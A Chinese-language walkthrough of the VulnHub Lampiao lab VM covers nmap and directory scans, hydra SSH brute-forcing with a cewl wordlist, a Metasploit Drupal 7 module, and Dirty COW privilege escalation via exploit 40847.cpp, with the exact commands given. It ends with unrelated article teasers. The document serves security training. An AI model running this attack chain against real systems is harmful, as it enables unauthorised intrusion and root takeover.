vulnhub靶场【Lampiao靶机】,主要考察提权,脏牛提权

news2025/1/19 18:53:36

前言

靶机:lampiao,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.2

都采用虚拟机,网卡为桥接模式

该靶机目前只剩下一个了,之前记得是有两台构成系列的。

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/406f58c6d7dc

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

nmap -sV -O 192.168.10.11 -p-

进一步构造语句测试

nmap -sV -O 192.168.10.11 -p 22,80,1898 -sC

网站信息探测

访问80端口,这给出的相当于提示,页面源代码中也并未有其他内容

访问1898端口,之气在使用nmap的默认脚本扫描,发现一些内容,进行验证测试

通过访问查看后,发现的图标以及登录界面。再使用wappalyzer插件识别出确实是drupal 7

这个插件可以通过浏览器插件下载,各个浏览器都有

使用whatweb也是识别出

使用gobuster爆破目录

gobuster dir -u http://192.168.10.11:1898 -w /usr/share/wordlists/dirb/big.txt -x php,bak,txt,js,html -b 403-404

再使用dirsearch其默认字典试试

dirsearch -u http://192.168.10.11:1898 -x 403,404 -e zip,gz

访问robots.txt,其中包含甚多

测试多个,访问也只发现版本7.54

漏洞寻找

在主页发现一个文章,有点东西

点击查看,发现http的请求,是在robots.txt中不允许的访问

那么就访问node/2进行测试,发现两个文件,并且还有提示,应该是隐写

直接构造链接测试访问

http://192.168.10.11:1898/audio.m4a
http://192.168.10.11:1898/qrc.png

#下面的是/node/3下的文件
http://192.168.10.11:1898/LuizGonzaga-LampiaoFalou.mp3

其中一个音频,一个二维码,下载到kali中进行测试

对于二维码,可以通过在线网站解析有无隐藏内容,或者通过命令zbarimg,可直接在kali通过apt下载即可使用,获取到信息Try harder! muahuahua

zbarimg qrc.png

测试上面的audio.m4a文件,并非隐写,而是直接语音读出user:tiago,则,这个信息就是在主文章界面中的文章作者

获取shell

爆破ssh获取shell

不过两个文章,这里通过音频给出,就测试这一个用户,先使用cewl爬取网站,生成一个字典,用于爆破该用户,如果不行,再换字典

cewl http://192.168.10.11:1898 -w pass.txt -m 3

这里有两个地方可以测试,一个是网站的登录,一个是ssh的连接

在使用hydra测试爆破网站登录时,发现结果是有了,但是登录不成功

这里的登录时的表单数据,是通过浏览器抓取的

那么再测试ssh一下,获取到密码Virgulino

hydra -l tiago -P pass.txt 192.168.10.11 ssh

以这个进行测试登录,发现可以成功登录

CMS漏洞获取shell

或者通过searchsploit搜索有无对应的版本漏洞进行测试,也就是druapl的漏洞

searchsploit drupal 7.54

发现有,但是大部分都是借助msf的,这里启动msf,毕竟这个工具还是要会使用的

msfconsole
search drupal 7
use 1

options
set rhosts 192.168.10.11
set rport 1898
run

靶机内信息收集

首先这里可以两种登录,一直是通过msf反弹的www-data,一种是ssh爆破的tiago用户

使用find寻找具有SUID权限的文件,发现sudo,测试发现sudo没有可用

find / -perm -4000 -print 2>/dev/null

切换之前ssh登录的,测试,也是没有sudo

查看定时任务,网络状态、进程等等信息,最好可以上传pspy64进行检测

cat /etc/crontab
ls -l /etc/cron.d

ss -antlp
ip add

ps -aux
top
df -h

收集内核信息和操作系统信息

提权

使用searchsploit搜索有无内核版本提权漏洞,发现有几个合适的,需要进一步进行测试

在靶机内使用gcc -v测试,发现靶机内可以使用gcc,那么可以把c文件通过pythonwget等搭配,不过测试发现,不行,把在kali编译好的文件,上传到靶机去执行,也是不可以的。

是提权脚本不对吗,上传一个脚本检测[linux-exploit-suggester.sh]

项目地址https://github.com/The-Z-Labs/linux-exploit-suggester

执行脚本./les.sh,发现几个分析很有可能的提权,不过测试前三个发现不行,不过这里发现脏牛提权,啧,ai搜索一下

  • 一般来说,内核版本在 3.13 到 4.8 之间的 Linux 系统都可能存在风险,Ubuntu 14.04 默认使用的是 3.13.x 系列内核,在未打补丁前是受影响的。
  • 虽然脏牛漏洞主要影响特定的内核版本,但它利用的是内核的内存管理机制中的一个相对通用的特性。许多内核版本可能都采用了相似的内存管理和写时复制机制,只是在细节上有些许差异。即使不是完全相同的内核版本,只要这些内核使用了类似的内存管理代码和逻辑,就有可能受到影响。

使用searchsploit进一步进行测试,因为这个漏洞搜索,就是根据exploit漏洞库的

经测试,发现只有40847.cpp是可用的,因为我该测试都测试了

可以查看这个脚本,其中有用法

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
./dcow -s

那么这时候测试,发现靶机内可以使用g++,把文件下载到靶机内,这里采用ssh连接后的用户tiago,采用scp传输,在kali中执行

scp 40847.cpp tiago@192.168.10.11:/tmp

然后执行上面的用法即可

总结

该靶机考察以下几点:

  1. 对于博客型网站,可能作者在编写时存在信息泄露,或者说对于参数设置不当,导致可以通过设置参数发现隐藏信息

  2. 对于msf的使用,当发现网站CMS的版本信息等时,可以测试一下有无版本漏洞

  3. 对于靶机内的系统信息,当发现版本信息及内核版本后,使用searchsploit搜索,当都测试发现无可利用时,适当的放宽条件,比如只指定内核信息,或者只指定操作系统信息等。

    或者借助工具进行自动化的审计,当发现适合的提权方式后,就可以进行一个个的测试

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2279030.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ASP .NET Core 学习(.NET9)配置接口访问路由

新创建的 ASP .NET Core Web API项目中Controller进行请求时,是在地址:端口/Controller名称进行访问的,这个时候Controller的默认路由配置如下 访问接口时,是通过请求方法(GET、Post、Put、Delete)进行接口区分的&…

构建core模块

文章目录 1.环境搭建1.sunrays-common下新建core模块2.引入依赖,并设置打包常规配置 2.测试使用1.启动!1.创建模块2.引入依赖3.application.yml 配置MySQL和Minio4.创建启动类5.启动测试 2.common-web-starter1.目录2.WebController.java3.结果 3.common…

VRTK4 记录抓取错误

左手原本可以正常抓取,但是当右手拿起一个物体时,左手抓取右手的线性驱动器,只有部分区域可以抓取 原因是左手的判定物体的层级错误 应该在Collections下,之前错误的和Collections同一层级,导致抓取有时可以有时不可以…

游戏画质升级史的思考

画质代入感大众玩家对游戏的第一印象与评判标准 大众玩家还没到靠游戏性等内在因素来评判游戏的程度。 画面的重要性,任何时候都不能轻视。 行业就是靠摩尔定律来推动进步的。 NS2机能达到PS4到PS4PRO之间的水准,5050达到8G显存,都会引发连…

Windows11电脑总是一闪一闪的,黑一下亮一些怎么解决

Windows11电脑总是一闪一闪的,黑一下亮一些怎么解决 1. 打开设备管理器2. 点击显示适配器3. 更新下方两个选项的驱动3.1 更新驱动Inter(R) UHD Graphixs3.2 更新驱动NVIDIA GeForce RTX 4060 Laptop GPU 4. 其他文章快来试试吧🥰 1. 打开设备管理器 在电…

【RAG落地利器】向量数据库Qdrant使用教程

TrustRAG项目地址🌟:https://github.com/gomate-community/TrustRAG 可配置的模块化RAG框架 环境依赖 本教程基于docker安装Qdrant数据库,在此之前请先安装docker. Docker - The easiest way to use Qdrant is to run a pre-built Docker i…

【逆境中绽放:万字回顾2024我在挑战中突破自我】

🌈个人主页: Aileen_0v0 🔥热门专栏: 华为鸿蒙系统学习|计算机网络|数据结构与算法 ​💫个人格言:“没有罗马,那就自己创造罗马~” 文章目录 一、引言二、个人成长与盘点情感与心理成长学习与技能提升其它荣誉 三、年度创作历程回顾创作内容概…

HTTP / 2

序言 在之前的文章中我们介绍过了 HTTP/1.1 协议,现在再来认识一下迭代版本 2。了解比起 1.1 版本,后面的版本改进在哪里,特点在哪里?话不多说,开始吧⭐️! 一、 HTTP / 1.1 存在的问题 很多时候新的版本的…

于灵动的变量变幻间:函数与计算逻辑的浪漫交织(下)

大家好啊,我是小象٩(๑ω๑)۶ 我的博客:Xiao Xiangζั͡ޓއއ 很高兴见到大家,希望能够和大家一起交流学习,共同进步。 这一节我们主要来学习单个函数的声明与定义,static和extern… 这里写目录标题 一、单个函数…

pthread_create函数

函数原型 pthread_create 是 POSIX 线程&#xff08;pthread&#xff09;库中的一个函数&#xff0c;用于在程序中创建一个新线程。 #include <pthread.h>int pthread_create(pthread_t *thread, const pthread_attr_t *attr,void *(*start_routine) (void *), void *a…

VSCode 的部署

一、VSCode部署 (1)、简介 vsCode 全称 Visual Studio Code&#xff0c;是微软出的一款轻量级代码编辑器&#xff0c;免费、开源而且功能强大。它支持几乎所有主流的程序语言的语法高亮、智能代码补全、自定义热键、括号匹配、代码片段、代码对比Diff、版本管理GIT等特性&…

模之屋模型导入到UE5

去模之屋随便下个模型 安装Blender2.8 插件 cats-blender-plugin &#xff0c; 打开blender 2.8转换 pmx转换fbx https://github.com/absolute-quantum/cats-blender-plugin Index of /release/Blender2.80/ 修改单位 修复贴图 更高清了 点fix model 修复模型 改为编辑模式…

用Cursor生成一个企业官网前端页面(生成腾讯、阿里官网静态页面)

用Cursor生成一个企业官网前端页面 第一版&#xff1a; <!DOCTYPE html> <html lang"zh-CN"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><…

css 实现自定义虚线

需求&#xff1a; ui 画的图是虚线&#xff0c;但是虚线很宽正常的border 参数无法做到 进程&#xff1a; 尝试使用 border&#xff1a;1px dashed 发现使用这个虽然是虚线但是很短密密麻麻的 这并不是我们想要的那就只能换方案 第一个最简单&#xff0c;让ui 画一个图然…

【鸿蒙】0x02-LiteOS-M基于Qemu RISC-V运行

OpenHarmony LiteOS-M基于Qemu RISC-V运行 系列文章目录更新日志OpenHarmony技术架构OH技术架构OH支持系统类型轻量系统&#xff08;mini system&#xff09;小型系统&#xff08;small system&#xff09;标准系统&#xff08;standard system&#xff09; 简介环境准备安装QE…

力扣动态规划-2【算法学习day.96】

前言 ###我做这类文章一个重要的目的还是给正在学习的大家提供方向&#xff08;例如想要掌握基础用法&#xff0c;该刷哪些题&#xff1f;建议灵神的题单和代码随想录&#xff09;和记录自己的学习过程&#xff0c;我的解析也不会做的非常详细&#xff0c;只会提供思路和一些关…

细说STM32F407单片机电源低功耗SleepMode模式及应用示例

目录 一、STM32F4的低功耗模式 1、睡眠(Sleep)模式 2、停止(Stop)模式 3、待机(Standby)模式 二、睡眠模式 1、进入睡眠模式 2、睡眠模式的状态 3、退出睡眠模式 4、SysTick的影响 三、应用示例 1、工程配置 &#xff08;1&#xff09; 时钟、DEBUG、GPIO、CodeGen…

【竞技宝】LOL:ning直播再次锐评

北京时间1月18日,目前英雄联盟LPL2025正在如火如荼的进行之中,很多队伍都已经打完了新赛季的首场比赛,其中就包括AL战队,AL在休赛期进行了大幅度的人员调整,整体实力相比之前增强了不少,在16日的比赛中,AL3-0轻松击败LGD拿下了赛季开门红,而AL的打野选手tarzan在本场比赛中表现…

构建安全防线:基于视频AI的煤矿管理系统架构创新成果展示

前言 本文我将介绍一款AI产品的成果展示——“基于视频AI识别技术的煤矿安全生产管理系统”。这款产品是目前我在创业阶段和几位矿业大学的博士共同从架构设计、开发到交付的全过程中首次在博客频道发布, 我之前一直想写但没有机会来整理这套系统的架构, 因此我也特别感谢CSDN平…

QT笔记- Qt6.8.1 Android编程 添加AndroidManifest.xml文件以支持修改权限

1. 切换项目选项卡&#xff0c;找到构建的步骤下的最后一项构建安卓APK&#xff0c;展开后找到应用程序栏&#xff0c;点击安卓自定义中的创建模板. 2. 弹出对话框勾选图中选项后点完成 3. 回到项目&#xff0c;查看.pro文件&#xff0c;里面多了很多内容不管&#xff0c;在下…